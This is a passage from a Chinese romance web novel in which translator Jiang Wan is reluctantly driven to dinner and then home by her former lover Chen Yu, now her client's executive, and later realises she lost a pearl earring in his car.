要想留在GSC,还有实现方简简说的那些,除了努力工作,其他几乎没有可能。更何况,她也没想着以后留在这里,能顺利把这个项目做完就够了。 姜挽垂着眼,开始翻找之前做的笔记,她这会儿是真不打算再继续聊这个话题了:“我没想过这些,目前还是想着先把工作做好。” 很意外地,听到她这样说,方简简反而很高兴:“对对,你这种想法也不错,比较适合你这种能力突出,踏实肯干的人。” 第49章 晚餐 上午开完的会, 下午周海便把会议纪要发出来了,当前进展,后续计划,以及每个人的工作任务和需要注意的细节, 每一项, 他都安排得很仔细。 对照邮件, 姜挽开始认领自己的工作, 翻译, 整理, 还有提交日期,基本和她会上记录的笔记差不多。确认没什么问题,她正打算关掉, 突然眼前什么东西一闪, 是邮箱里再次收进来了一封邮件, 发件人显示是陈屿, 而且,好巧不巧地, 她还被@了。 老实讲, 有点紧张,毕竟陈屿之前对她的态度她也领教过, 要是在这种场合再刻意说些让她难堪的话, 其实挺尴尬的。 可该来的总会来。 怀着忐忑的心情,姜挽还是打开了, 可打开后却发现还好, 除了强调翻译的重要性,告诉姜挽有什么困难可以随时联系GSC的人员,甚至也可以联系他之外, 其余倒是没说什么。 虽然知道这只是一些场面话,可姜挽还是忍不住有些动容,这应该是他们重逢以来,陈屿第一次用如此平和的语气和她说话了。 办公室有人在泡茶,缭绕一段茶香飘来,清甜中还带着点苦涩的味道,让姜挽想到八年前,想到她之前在北城的那些日子,还有她和陈屿的过往。 但只一瞬,她便回神,点击邮件,开始答复:【收到,谢谢您。】 陈屿发完邮件后,基本就守在电脑边,看到姜挽回复了,而且还回复得这么快,弯起的嘴角压都压不住。 其实,他原本发这封邮件也没有其他的意思,只是为了引起她的注意而已。如今目的达到,整个人顿时感觉神清气爽。 可转眼瞅见邮件里的那个“您”字,又有点不爽。整天面对他不是“您”,就是“陈总”,叫来叫去的,听得他是真烦。 为了避嫌,他邮件里其实还@了其他人,这会儿他们也在一一回复,收件箱里接连收进来好几封邮件,陈屿看都没看,直接退出,转而去研究公司的战略计划了。 — — 工作的时候,时间总是过得格外快,尤其是在姜挽这儿。不知不觉间,窗外已暮色四合,其他同事都已经下班了。 北城下午的时候落了雨,这会儿虽然停了,可天色依旧阴沉着,说不准什么时候就会再次开始。看一眼窗外的天色,姜挽没再耽误,快速将今天的工作收了尾。 收拾完准备走,门口处却突然传来一阵响声,姜挽抬眸去看,是办公室门从外面被推开了。 因为角度和办公桌遮挡,姜挽并不能清晰地看清门口的那个人,她背着包走过去:“请问您……” 一句话还没说完,她赫然顿住,同时停下的,还有她手上的动作。因为此时站在门口的人不是别人…… 又是陈屿。 她来GSC总共也没几天,没想到碰见陈屿的几率却出奇地高,而且每次还都是在她下班的时候,这种情况,一个单纯的“巧合”怕是已经不足以形容了吧。 姜挽猜陈屿应该也没想到会这么巧,所以才会赶在她之前匆匆开口:“我来找林洁。” “哦,”姜挽看了眼林洁的办公室,“林经理下班了。” 林洁是负责翻译部的经理,姜挽来GSC的这几天,偶尔也会和她打交道。 陈屿点点头,脸上没什么表情:“我看到了。” 他这样说,显得她刚才的那句话像是很多余似的,姜挽抿唇,没再说什么:“那您还有其他的事吗?没有的话,我也打算下班了。” “没有。”话虽这样说,可陈屿却并未离开,而是绕过她,直接朝靠近角落的方向走了几步。 那里,是姜挽工位的地方。 上次来的时候人太多,他没看清,这次仔细观察,才发现她这个位置真是不怎么样,环境也一般。好在书桌收拾得很整齐,绿植,照片还有小玩偶,整体还算有生活气。 姜挽在原地看着他,对他这行为有些疑惑,刚想问,陈屿却突然开口:“其他人都下班了?” 很明显,这也是一个显而易见的问题。姜挽拿不准他问这话的目的,也怕贸然开口又显得自己话很多似的,所以这次,她谨慎地没开口,而是安静等待他的后话。 果然,陈屿继续开口了,而且像是一开始就没打算听她回答,语句流利又格外理所当然:“怎么每次碰到你,你都在加班?是因为尼斯项目的工作量太大了,还是你本身工作能力的问题?” 这问题问的,让她如何答? 承认项目的工作量太大,不就也间接承认了她能力有问题吗?说来说去,绕这么大一圈,他就是为了挖苦她而已。 果然,下午邮件里的那点善意,不过是场面话罢了。 姜挽轻呼一口气,尽量控制着自己的情绪。因为她知道,这话她反驳不得:“工作量不大,是因为我新接手这类项目,需要学习的东西很多,所以花费的时间会多一些。” “哦?是吗?”陈屿随意拿起旁边的一本宣传册,胡乱翻了几页,继而抬眸,眼神中戏谑明显,“你什么时候也学会口是心非这一套了?” 一瞬间,胸口尖锐地疼了一下,姜挽赫然抬头,眼底除了震惊,更多的是受伤。他就这么讨厌她吗?讨厌到她说真话,也要被怀疑的地步? 对上她的眼神,陈屿莫名觉得心烦意乱,“啪”的一声,他把宣传册随意丢在旁边的办公桌上,语气比刚才还要恶劣:“如果真是这样的话,那么我劝你好好学,我早说过了,GSC不会陪你们玩儿什么成长类的游戏,我要的是结果。” “这话您已经说过很多次了。” 言下之意,他不用一再强调。 姜挽回看着他,神色坦然:“您放心,既然合同佳译都签了,我们就一定会按照合约如期完成翻译。您即便再不相信我,也总该等到翻译出来,项目结束,验收效果的那一刻再下定论吧。” 陈屿没说话,皱着眉看她。 一瞬间,办公室里安静下来,只能听见窗外大风卷着树梢的声音。 很突然的,陈屿笑了一下,是那种很轻的,完全不达眼底的笑:“你说的对,既然如此,那我就拭目以待了,希望姜小姐不要让我失望。” 话题到这,姜挽没再接,她现在只想赶快回家:“您还有其他的事吗?没有的话,我要下班了。” 说完这句,姜挽就打算走了,谁知下一秒,陈屿却突然说道:“我送你。” 姜挽怀疑自己听错了:“什么?” “你不是要下班了?”这会儿,陈屿的脸上已经没有刚才那股莫名其妙的笑意了,老实说,他冷脸的时候,还真挺吓人的。 冒着被挖苦讽刺的风险,姜挽还是开口问了:“所以呢?” 陈屿干脆直接来到她面前,隔着几步的距离,他停下:“我正好也打算下班,外面一会儿可能会下雨,我可以送你一程。” 他这来回变化还真是挺大的,姜挽也不太懂,是不是当大领导的都这么喜怒无常,可不想让他送这点,她还是很肯定的:“不用了,谢谢您,我坐地铁回去就行。” 陈屿再次迈近一步,垂眸看她,两人之间的安全距离被打破,姜挽不自觉垂下眼睫,双手撑住身后的办公桌。 “怎么,怕我?还是讨厌我?”陈屿打量着她,用居高临下的角度,用轻嗤的鼻音,“你放心,大家都是成年人了,都是为了工作而已,你不用想太多。” 姜挽想说她没有,可陈屿似乎却并不打算给她机会,在她开口前,迅速掌握主动权:“再说了,谁年轻的时候还没做过几年蠢事呢?之前的那些事我早不记得了,你不会还记得吧?” 他这话说的再清楚不过了,指的是八年前,他和她的那些事。 是,姜挽记得,每一件她都清清楚楚地记得。 可此刻她却不敢开口,甚至都不敢对上他的眼神。 这是他们重逢后,陈屿第一次正面提起他们二人之前的那些过往,只不过姜挽没想到,他竟然会用“蠢事”两个字来形容,而且还是那么一种鄙夷的语气。 很长时间,姜挽都没说话,眼睫却颤抖得厉害。 见她这样,陈屿再次开口:“姜挽,你不会还对我抱有什么想法吧?还是你觉得,这么多年过去了,我对你还有意思?” 称呼变了,语气也变了,更犀利,更讽刺,直指她的内心。 “当然不会,”姜挽抬眸对上他的视线,冷静,自持,还有她不得不伪装的坚强,“就像您说的,既然是蠢事,也就没必要记得了。而且您大可放心,我知道自己如今的身份,我也知道自己来GSC的任务,你完全不必担心我会对您有什么其他的想法。” “这样最好,”这次,陈屿没笑了,神色也比刚才严肃,“那走吧,今天就算不是你,是任何一位其他的同事,我都会做出同样的举动。” 不去,不仅显得她小心眼,还会得罪他,姜挽似乎并没有其他的选择。 出门一阵凉风,姜挽今天穿的不多,身体露在外面的部位都觉得有些凉,她拿手去挡,被陈屿看到了,他皱着眉道:“在这等我。” 好端端的,姜挽不明白他怎么又生气了,可为了避免不必要的矛盾,她还是识趣地没吱声。 这个点的地下车库没什么人,空荡荡一片,而且姜挽还是第一次来,所以她总觉得有点不自在。好在陈屿动作很快,没一会儿一辆黑色迈巴赫便从不远处驶来,随即一脚刹车,在她身旁停下。 车窗降下,陈屿还是那副不怎么高兴的样子:“上车。” 姜挽没犹豫,拉开后座的车门就要坐上去,却听到前排的陈屿幽幽开口道,“虽然我是不在意,可你也不能真就把我当成司机吧?” 一时间,姜挽有些僵住了,她当然不是把他当成司机了,只是觉得以他们两人目前的关系,坐副驾驶实在不是一个合适的选择:“抱歉,我只是……” 陈屿像是不想听她解释那么多,很敷衍地打断她:“坐前面,或者你来开,你自己选。” “我坐前面。”姜挽很干脆。 这两个选项甚至都不用考虑,多犹豫一秒,都是她对自己的认知不到位。且不说她这些年基本没怎么碰过车,就算经常开,面对他这辆,她也不敢啊。 陈屿这辆车具体多少钱她不知道,可大概的价位还是了解的,依照北城这路况,她要是一不小心蹭到或者刮到什么的,估计把她整个人卖掉都不够赔的。 上车,系安全带,然后检查东西,所有可以让她假装很忙的事情,姜挽都做完了,这才不得不端坐着,目不斜视地直视前方。 她做这些的时候,陈屿始终没动,像是已经看透了她拙劣的演技,静静看她表演。在她停下所有的动作后,才轻嗤一声,一脚油门驶离了车库。 出来,果然下雨了。 噼里啪啦的,是雨点砸在车窗和车顶的声音,姜挽暗自庆幸,幸亏有这声音在,才不至于让车里的气氛显得太尴尬。 她不想一直刻意盯着前面,也不想去看陈屿,所以只得把视线转向窗外。透过一片雨滴和水纹的车窗,看车子缓缓行驶在两侧种满行道树的市政路上,姜挽这才发现,这不是回她家的那条路。 也突然想起来,自她上车,陈屿好像也没问过她地址,看来,是在等她主动开口了。 “方便的话,麻烦您把我随便放在一个地铁站就行。” 说着,她就要去搜附近的地铁站,却听陈屿冷淡开口:“不方便。” “嗯?”因为他这句话,姜挽不得不侧眸去看他,恰巧红灯临停,陈屿也扭过头来看她,猝不及防地,两人就这么对视了。 路灯点点,照得他脸上半明半寐,眼神更是晦暗不明:“外面还在下雨,你刚才一直扒着窗户,没看到吗?” 看到了,正是因为看到了,姜挽才想让他把她放在地铁站,这样就不会耽误他太多的时间,也不用继续承受这压抑的气氛。 “坐地铁回去没事,不会淋雨。” “那出地铁了呢?你总不能只考虑眼前这一段吧?目光能不能放长远点?” 姜挽看着他,多少觉得他这句话有些小题大做了,可她现在毕竟还在人家的车上,也不好把话说得太直接,于是自以为好笑地开了个玩笑,想缓解气氛:“我们这种牛马,淋一点雨,也没什么关系。” 可话音落,却见陈屿根本没笑,可见他并不觉得好笑。 姜挽有点尴尬,正想着该如何再找个更合适的理由时,陈屿突然主动朝她看过来:“我饿了,先去吃饭。” 姜挽愣愣看着他,有点没跟上他的思维:“所以,您现在是要去吃饭的地方?” “有什么问题吗?” “没问题,”当然没问题了,“只不过,您在去吃饭之前,能不能先找个地把我放下来?我总不好跟着您一起去吧?” “为什么不能?” 为什么不能?当然是因为不合适了!听他这么问,姜挽都觉得他是故意如此了。 先不提他们如今是甲方和乙方的关系,就是他俩目前这个别扭的状态,也不是能够一起和和气气吃饭的呀。可话在嘴里转一圈,她开口却是:“我不饿。” “没人说让你吃,我是说我饿了。” 建议不被采纳,说话又被怼,即便姜挽性格再好,这会儿也有脾气了:“既然如此,那还是麻烦您找个地方把我放下吧,免得我跟着您,还会耽误您的行程。” 这次,陈屿没答,而是冲窗外扬了扬下巴,让她自己去看。 顺着他的动作,姜挽朝窗外看,这一眼,简直震惊。原本还在市中心行驶的车子不知何时已经上了环路,这下,她想下车都没办法了。 姜挽回眸,靠向靠背,重重叹了一口气。 陈屿淡瞥她一眼:“至于吗,就吃顿饭而已,能耽误你多长时间?” 后面的一路,他们俩谁也没再开口说话。 姜挽也不知道他到底要去哪里吃饭,反正就感觉七七八八地绕个没完,四十分钟后,车子终于在一家饭店门口停了下来,看装修,应该是一家西餐厅。 陈屿的车刚停下,便立马有工作人员过来帮他打开车门,还贴心地在他头顶撑起了伞。 陈屿没立即下车,而是转向姜挽,开口道:“怎么说,你要不要进去?” 这里,姜挽不熟悉,刚才手机上一通查找,发现最近的地铁站也在两公里之外:“不进去,我还有其他的选择吗?” “有,你可以在车里等我。” “那您要吃多久?” “这个不好说,可能一个小时,也可能两三个小时,主要看心情。” 一听这话,姜挽顿时蔫儿了,要她在车里等他这么久,还不如跟着上去呢,就算不吃饭,至少也可以呼吸点新鲜空气。 陈屿这会儿还算可以,没再继续挖苦她,而是主动帮她递台阶:“一起吧,吃完就送你回去。” “好吧,那麻烦您了。” 说吧,姜挽打算推门下车,陈屿却让他等一下,姜挽一时没明白他的意思,待看他从工作人员手里接过雨伞,绕到她这一侧的时候,才明白,他大抵是想帮她撑伞。 好意她心领了,可觉得没必要。 姜挽忙摆手道谢,说不用。眼下雨也不是很大,况且从车上到餐厅门口也就十几米的距离,她跑过去就行了。 陈屿在后面看着她跑进雨里的纤弱背影,皱着眉没说话。 刚才在车上的时候看不明显,这会儿来到门口,姜挽才发现这家餐厅其实很大,装修也很豪华。而且,这里的人明显认识陈屿,刚进门,便立马有人迎上来叫他“陈先生”,当然看在陈屿的面子上,对方也很客气地和她打了招呼。 姜挽跟在他们后面,边走,边领略了一场视觉的盛宴,周遭仿佛都笼罩着一股欧洲古堡的神秘与优雅。 进门先是接待区,精致繁复的水晶吊灯从高处垂下,落下的光线给周围的摆设都镀上一层耀眼的光芒。踩着柔软舒适的长绒地毯,他们经过一条挂着各种壁画的长走廊,再迈步旋转楼梯直接上二楼,入目是一片VIP座位,服务员带他们来到了视野最好的一个。 高档的桌椅,典雅的餐桌布置,还有各种相得益彰的色彩搭配和绿植花卉,每一处细节,都彰显着这家餐厅的格调。 服务员也认识陈屿,直接开口:“陈先生,请问您今天有什么特殊的要求吗?还是和之前一样呢?” “和之前一样。” “好的,那请问您旁边的这位女士呢?” 姜挽刚想说她不用,没想到陈屿比她更快开口:“哦,她不吃,帮她倒一杯白水就行。” 他这话说得格外自然,丝毫不带一点犹豫。虽说这确实是她心中所想,可从他口中就这么说出来,姜挽总觉得有点不符合他的身份。 怎么说也是一个公司的大老板,在外面总得要点面子,立个人设吧,可陈屿明显并不在意这些。也或许,是因为实在讨厌她,所以在她面前连假装都不愿意。 想到这些,心情难免有些沉闷,姜挽并不想总是囿于这些情绪之下,于是干脆直接拿出手机拍窗外的夜景。 灯光挥煌,霓虹闪烁,从这个角度往下看,能看到她以往从未见过的景色。 陈屿倒是也没再和她搭腔,兀自看着自己的手机。 很快,陈屿点的餐便送过来了。当然,还有姜挽的那杯白水。 刚才没看到吃的东西时还好,现在眼前摆着满桌的美食,再加上午饭后姜挽就再没吃过东西,嘴巴或许可以撒谎,但肚子不会呀。 她端起水杯小口喝着,借眼角的余光去看,先是开胃菜,一小份鹅肝搭配鲟鱼鱼子酱,摆盘精美又雅致。然后是浓郁的奶油蘑菇汤,再来是主食牛排和蔬菜沙拉,还有最后那份做成青梅形状的慕斯小蛋糕,一眼看过去,就知道是米其林大厨的水平,和她以往吃的那些量大管饱的廉价西餐完全不一样。 陈屿这个时候,倒是也还算绅士,又问了她一遍“要不要吃”。 姜挽当然摇头了,输什么也不能输了气势。她在陈屿这本来形象就不够好,要是再因为这件事被他扣上一个“出尔反尔”的帽子,那以后就别想翻身了。 陈屿没再问,只是他接下来的动作也很奇怪,一不吃菜,二不喝汤的,反而在那里一刀一刀,慢条斯理地切着牛排。切好了也不吃,而是重新放回餐盘里。 姜挽觉得再坐下去,简直就是对自己食欲和身体的折磨,她起身,想换个地方:“您知道洗手间在哪里吗?” 陈屿头都没抬,随手指了一个方向。 姜挽下意识道谢:“谢……” 可一个“谢”字刚说完,肚子里突然传来几声“咕噜咕噜”的声音,她尴尬极了,连忙伸手按住。 闻声,陈屿抬眸看她,眼神里明显的问询意味:“刚才是?” 姜挽打算蒙混过去:“什么都没有,您听错了。” 陈屿拧眉:“你是在质疑我的听力?” “当然不是,”姜挽心虚地解释,“可能是我因为起来得太急了,身体还没反应过来。” “哦?是吗?” 他们互相看着,在这暖黄的灯光下,谁也没再继续开口,各自守着自己的心事,还有暗处那些无法言说的秘密。 最后,当然是姜挽率先败下阵来,因为她要出去,陈屿又恰巧坐在路口的位置:“麻烦让一下。” “不让。”陈屿很干脆,话说着,还将腿又往路口的方向伸了几分,这下,姜挽彻底没办法出去了。 “……什么意思?” “没什么意思,”陈屿指了指刚才那盘他切好的牛排,“把牛排吃了再去。” “我……吃吗?” “这里除了你,还有别人吗?” “……” 这又是因为什么?姜挽简直不能理解他的脑回路。费劲巴拉地开车过来,仔仔细细地切好,现在却让她吃,他图什么? 莫非…… 这牛排有问题,所以需要她以身试毒? 还是说这里面有什么猫腻,他故意让她吃,等着看她的笑话? 当人遇到一些正常逻辑没办法解释的事情时,思考的方向就会逐渐偏向离谱。 “就让你吃一盘牛排而已,你想什么歪门邪道呢?”陈屿有些不耐烦了。 姜挽犹豫了下,还是坦诚开口:“我需要一个理由。” “什么理由?” “一个让我吃这份牛排的理由。” “姜挽你……”陈屿差点被她气笑了,“你是不是有病?吃东西而已,要什么理由?” 姜挽想说“你病得也不轻”,可考虑到目前两人工作的雇佣关系,她还是忍了下来,但该坚持的原则是一点也没退,“您不告诉我一个合理的理由,这牛排我是不会吃的。” 陈屿直直看着她,也说不上来是生气,还是觉得好笑,见拗不过她,到后来,竟真的开始思考:“你刚才肚子在叫,饿了吃东西,再正常不过的事情,这个理由够吗?” 哪知姜挽却摇头:“不够,我是饿了,可这和您又有什么关系呢?毕竟您一开始来的时候说的也是自己要吃,我饿不饿的,其实也并不在您的考虑范围内。” 陈屿没想到,他随口胡诌的一句,她竟然当真了。这问题解释起来太费劲,于是他干脆选择了最直接的恐吓方式:“姜挽你瞎想什么呢!吃点东西而已,推三阻四的,这是你面对甲方该有的态度吗?还是说你担心这牛排有问题,我等着你吃完之后看你出丑?” 姜挽没回答,可那表情却再明显不过了,她确实是这么想的。 “你真是……”陈屿压着火,觉得她真是莫名其妙,小肚鸡肠。可转念一想,她能有这么强的安全意识,倒也不是一件坏事。至少能证明她在遇到其他人,处理其他事情的时候,也会有这么高的警惕性。 这么一想,陈屿的火便瞬间消了大半,他靠着沙发靠背,双腿交叠,神色比刚才缓和不少,也更懒散:“你放心,我没那么多闲心在这件事情上耍你。你说的没错,你吃没吃饭,饿不饿,确实和我没关系,我也不在意。只不过今天是恰巧赶上了,怎么说,我们双方也算是合作关系,就算不考虑你,看在佳译的面子上,我请你吃一顿饭也不过分吧?” 他故意将语气控制在公事公办和冷淡之间,将这件事上升到两家公司之间的合作上:“还有,你那个老板我之前见过,一看就不是好惹的人,要是哪天被她知道了,误会你被GSC苛待,来我公司闹怎么办?” 这个理由整体听下来,还有那么点可信度,姜挽信了,可她还是忍不住帮沈繁星解释:“沈繁星不会的,她虽然性格是急了点,但绝对是一个讲道理的人。” “那可不好说,”其实陈屿一点都不在乎她那个领导怎么样,只是到了这一步,不得不继续演下去,“所以,就算是为了我自己考虑,今天这顿饭我也得让你吃了,因为我绝不允许一丝一毫的隐患出现在我的项目里。” “哦。” “哦什么哦,先把牛排吃了,再吃甜点。” “那您呢?” “我不饿。”气都被气饱了。 姜挽吃到后面才发现,这沙拉里面竟然有花生,下意识地,她便和陈屿开口:“还好您没吃这个,这里面有花生,”她挑出来给他看,“这要是不小心吃进肚子里,肯定得过敏。” 陈屿原本正在喝水,听到她这话,一瞬间愣住,有那么几秒不知该作何反应,手上端杯的动作硬生生停住。 这么多年了,没想到她还记着这件事。 话出口,姜挽也觉得尴尬,她刚才没想那么多,现在回想才意识到,这种私密的话题,只适合朋友之间讨论。可她如今和陈屿的关系,连普通的同事都算不上,更别说讨论这种话题了,他肯定觉得她多管闲事。 姜挽开始慌张地找理由:“其实我是说……这家店的味道还挺不错的。” 可陈屿却偏偏没顺着她转移话题:“已经好了。” “什么好了?” “我的过敏。” “哦,是吗,那挺好的。” 他过敏好了,姜挽当然替他高兴,可高兴之余,也难掩失落,他们真的是太长时间没见了。长到她现在完全看不懂他,长到她不了解他的任何一个生活细节。 “你不想知道我是怎么好的吗?” “您方便说吗?” “不方便。” “那我就不问了。” 其实他过敏能好这件事,说起来也挺邪乎的。就是姜挽刚离开的那年,陈屿实在难以坚持,很长一段时间都需要去酒吧来缓解这种痛苦。 酒精,灯光,还有一切嘈杂的环境,都能让他短暂地解脱,暂时逃避这种折磨。 有一次喝酒的时候,旁边不知道是谁放了一包花生,那会儿他其实已经有点喝飘了,但大概还知道这是花生。可能是酒精驱使吧,让他产生了一种恶念,吃吧,大不了住院,有了这些身体上的痛苦至少心理就不会那么难受了。 所以,那天陈屿整整吃了一包,孟云程看到的时候,吓得当场叫了120。 可奇怪的是,最后陈屿却一点事也没有。 也是从那天以后,他再没去过酒吧。 一个话题,分别挑起了两个人的伤心事,所以后半段,他们两人谁都没再说话。 吃完饭,陈屿说话算话,取了车便打算先送姜挽回去。 上车后,陈屿问她地址,姜挽回他:“芳草街十五号。” 没听过。 “哪个区?”陈屿又问。 “开发区。” “哦,”这下知道了,“那在南边。” 陈屿启动车子,但没开导航。 姜挽提醒他:“不需要用导航吗?” “现在不用。” “哦,好。” 考虑到应该没有任何一个人喜欢在自己开车的时候,其他人在旁边指手画脚,所以后续姜挽也就没再因为这个事情多说话。 而且,她之所以不说,其实还有另外一个原因。她注意到刚才陈屿开车过来的时候也没用导航,也许,他就是不喜欢用,所有的路线都在脑子里了。 可开了三十分钟之后,姜挽却逐渐发现有些不对劲了。 “怎么感觉我们一直在绕路呢?” “没有,你感觉错了。” “没有吗?这个地方我们刚才好像来过。” “这种地方北城到处都是,你看错了。” “不对,虽然建筑是差不多,可周围的树不一样,我不会看错的。”姜挽很坚持。 陈屿有点不耐烦:“怎么?你很着急回去吗?” 姜挽反问他:“您不着急吗?都这么晚了?” 陈屿看她一眼,没说话。车内光线很暗,姜挽看不清他的眼神,也看不懂他眼底的情绪。 她还是有些不放心:“可是……” “行了,”陈屿打断她,右拐,迈巴赫加速冲进雨夜,“就快到了。” 这下姜挽再去看,就发现窗外的街景终于变了。 越往南,建筑越低,街景也越来越破败,随之变化的还有陈屿的脸色,也越来越难看了。 姜挽还以为他是不喜欢来这么破旧的地方,忙开口:“这里已经离我家很近了,要不您就在路边把我放下吧。” 陈屿却像完全没听到似的:“那你来指路。” 姜挽没懂:“什么?” “既然离你家这么近,路线你肯定知道,你来给我指路,省得我用导航了。” 呃…… 姜挽怔在那儿,感觉有冷汗从自己的额头往下淌。 她平时都是坐地铁,哪有时间观察附近的路呀,白天她都认不出来,更别说现在是晚上,还下着雨了。 “还是用导航吧,”说着,她把导航打开,输入地址,十分牵强地为自己的行为做解释,“现在下雨,我看不清,而且导航导得也更准确。” 陈屿没拆穿她:“随你。” 按照导航,陈屿一路七拐八拐,终于在十分钟后到达目的地,在一栋低矮的居民楼前停了下来。 没有小区大门,路灯也很暗,又因为下雨,路上泥泞不堪。 他是真没忍住:“你就住这儿?” “啊,对,”从他的眼神里,姜挽也读出来了他对这里的不认可,“城中村嘛,就这样。” “佳译给你开的工资这么低吗?只够你住在这种地方?” 被人当面这么说,姜挽也有点不高兴,可她知道陈屿说的没错,她目前住的地方就是很差强人意。 不过这和佳译给她开的工资多少没关系,沈繁星给她开的工资绝对不低,而且要是加上年底的奖金和分红的话,她在佳译拿的,比她之前在港城拿的要多出不少。只不过她的开销也大,除了要负责自己的生活外,还有沈曼的生活,她也需要安排好。 不过这些,他都不需要知道:“不低,够我花的了。” “那你……”陈屿还想再说些什么,突然,车窗外传来一阵急促的喇叭声,打断了他的话。 他回头去看,是一个骑摩托车的年轻男人,此时正用远光灯照着他们,估计是嫌他们挡着路了,一刻不停歇地按着喇叭。 陈屿确定刚才是靠边停的,不会影响到车辆的通行,但考虑到可能有特殊情况,他还是暂时压下了心中的火气,将车又往旁边挪了一段。 这来回之间,不过也才耽误了一分钟不到,那人便直接过来,对着他冷嘲热讽:“开好车了不起啊?开好车就能挡路了吗?住这种地方还开这种车,还不知道车是怎么来的呢!” “蹭”的一下,一股火瞬间窜至头顶,原本就因为看见姜挽住这种地方的不爽,这一刻被成功激化。 陈屿眯着眼,推开车门,径直下车。 两厢相对,他比那人要高出许多,气势上自然也是压倒性的:“你刚才说什么?再说一遍?” 那人见他穿着打扮讲究,估摸着应该是惹不起的人,于是没敢再开口,一拧油门,骑车扬长而去。 陈屿刚想骂人,姜挽下来了,手中撑着伞,走近,费力举过他的头顶。 陈屿见势,从她手里接了过来,一大半撑在她的头顶:“刚才那人你认识吗?” “不认识。”姜挽住在这里的时间不长,而且平时白天都在上班,见到其他人的机会并不多。 陈屿看着她:“这种情况以前发生过没有?” “没有,今天是第一次。”其实不是,住在这种地方,周围人的素质好坏都有,遇到这种事的几率自然也有。 “知道了,”陈屿怕她淋雨,“你先上车,我打个电话。” 意识到他的这个电话可能会和刚才的事情有关,姜挽忙开口:“如果是因为刚才的事情的话,还是算了吧。” “凭什么算了?不能就这么算了。”今天他在这,绝不能让她受一点欺负,“他的问题,他就该为此道歉,付出代价。” 姜挽压根就不想他在这件事情上花费精力,一点都不想:“真的不用了,而且那个人我也不认识,他的道歉我也不需要。” “你需不需要,和他道不道歉,没有关系。” “真的不用了。”姜挽突然加大音量,被她这么一开口,陈屿还当真停下了。 看着他不解的眼神,姜挽也知道,此刻的自己,在他眼中看起来肯定非常非常的奇怪。 道歉而已,不过是他随手一个电话的事情,不懂她为何会如此抵触。 这可能是他的想法,但姜挽却并不这么想。 分别八年,如今再次重逢,她已经不敢再奢求什么了,只希望能安安稳稳地完成目前这个项目,不想再因为她的原因,给他带来一丝一毫的麻烦。 而且,如今她的生活状况不好,这里的环境他看到了,她的窘态他也见识到了,他俩如今,是天壤之别。就当是她的一点小私心吧,她真的不想再在这件事情上承受更多的难堪了。 这次,陈屿垂眸看着她,没再继续坚持:“行了,我不打就是了,你这一副要哭的样子是要给谁看。” 姜挽其实没觉得自己要哭,但因为她也看不到自己现在的样子,担心会让陈屿更讨厌,忙极力扯出一个微笑:“我没有要哭。” 陈屿垂下眼睫,没再看她:“没时间听你瞎扯,时间不早了,你赶紧回去吧。”说完,他把伞递给她。 “好,”姜挽接过,和他道别,“今天谢谢您。” 陈屿点点头,算是应了。 姜挽走后,陈屿却没立刻离开,他又环顾了一圈周围的环境,沉默着点燃了一支烟。 夜色里,深深吸了一口。 他是真没想到,她竟然会住在这种地方,比他以往梦里梦到的那些场景还要差,还要糟糕。 第50章 耳钉 姜挽到家的时候, 另外两个室友已经在了,其中一个在客厅吃晚饭,另一个刚洗完澡从卫生间出来。因为不是很熟,几人也就没怎么寒暄, 简单打了招呼便各自忙自己的事情去了。 姜挽开门进房间, 将背包挂在衣帽架上后, 顺手从旁边的桌上拿起橡皮筋把头发挽了起来。今天这一天, 实在是够折腾的。 先是上了一天的班, 然后又和陈屿去吃饭, 最后回来还遇上这种事,经历真是比她回北城的这几个月都要丰富。 所以,她打算先去洗个澡, 然后早点睡觉, 今天就奖励自己放松一天, 不做任何学习了。 姜挽的卧室很小, 没有专门的梳妆台,只有一张平时用于工作的实木书桌, 还是她之前在二手市场淘的。 需要工作的时候就把电脑放在上面, 要是需要化妆,化妆镜一放, 就又成了简易的梳妆台。 这会儿, 她正对着镜子,打算先把耳钉取下来。可刚上手, 便愣住了。原本两侧都戴着的珍珠耳钉, 此时只剩下右边这只了。 这耳钉她带的次数很少,还是之前沈繁星在她生日时送的礼物,说是某奢侈品牌的, 给她装门面的。 现在倒好,还没怎么戴呢,东西就丢了。 姜挽忙去找,桌上没有,衣服口袋里也没有。她又去翻背包,整个背包都被翻了个底朝天,还是没找到。 还能在哪呢? 而且她明明记得,从餐厅离开的时候耳钉还是在的。从餐厅到家的这段路,她只待过一个地方,那就是陈屿的车上。 所以,有没有一种可能,她这个耳钉,恰巧落在了他的车上…… 是她收拾东西的时候,还是着急下车的时候?姜挽已经完全没印象了。 坦白讲,虽说这个耳钉很重要,但她和沈繁星之间,一切都可以解释。而姜挽也相信,她要是坦白和沈繁星说这件事的话,她应该也不会生气。 所以,要说她现在最担心的,还是耳钉要是真的落在了陈屿车上,那么一个尖锐的东西,是很不安全的。 而且,要是一不小心再被其他人看到,说不好还会对他的生活造成影响。 虽然知道现在再去打扰他是很不礼貌的行为,可为了避免夜长梦多,姜挽也顾不了那么多了。 她先打开电脑,去邮件里查找陈屿邮件落款的签名电话,也是这么一查她才发现,原来这么多年过去了,他的手机号码竟从未换过。 不像她,来来回回的,不知道换了多少个。 轻呼一口气,姜挽敲击数字,然后把电话拨了出去。 “嘟— ” 电话只响了一声,便被那头接了起来,接着便是陈屿那低沉中又带着点清冽的声音从听筒中传来:“哪位?” 姜挽没想到他会接得这么快,原本预设好的措辞也因为紧张一时想不起来了,她只好先打招呼:“陈总,您好。” 陈屿看一眼手机屏幕上显示的大大的“姜挽”两个大字,故意再次重复:“哪位?” “我是姜挽。” “哦,有事?” 这语气不大友善,姜挽听出来了,估计是嫌她烦。明明刚刚才见,这会儿却又要打电话来骚扰他,她只得尽快将自己这通电话的目的表达出来:“有件事估计得麻烦您一下,不知道您方不方便?” 陈屿没问她什么事,而是反问:“你怎么知道我的电话?” “您放心,我是从正规渠道查到的,”姜挽担心他误会,忙解释,“您邮件的签名里有。” “哦,”陈屿声音很淡,听上去不大满意她这个回答,“什么事,说吧?” “请问您现在已经离开了吗?” 不知道她要干嘛前,陈屿是不会先回答问题的:“你先说什么事。” 毕竟是有求于人家,姜挽也不好一再多问,只得坦诚相告:“我的耳钉刚才可能落在您车上了,您方便的话,您能不能帮我找一下?” “耳钉?” “对,一只白色的珍珠耳钉。” 陈屿有印象了,晚上吃饭的时候他还多看了两眼,样式和色泽都很衬她。 他这会儿还没离开,还坐在车里,听她这话,便当场打开了灯,偏头去看,果然在副驾驶的座椅上发现了一只白色的珍珠耳钉,昏蒙的光线下,闪耀着沉静又淡雅的光芒。 陈屿拿起来:“这个耳钉对你很重要?” “嗯。” “很重要的人送的?” “对。”在姜挽心里,已经自动把沈繁星也划分到重要的那一类里面了。 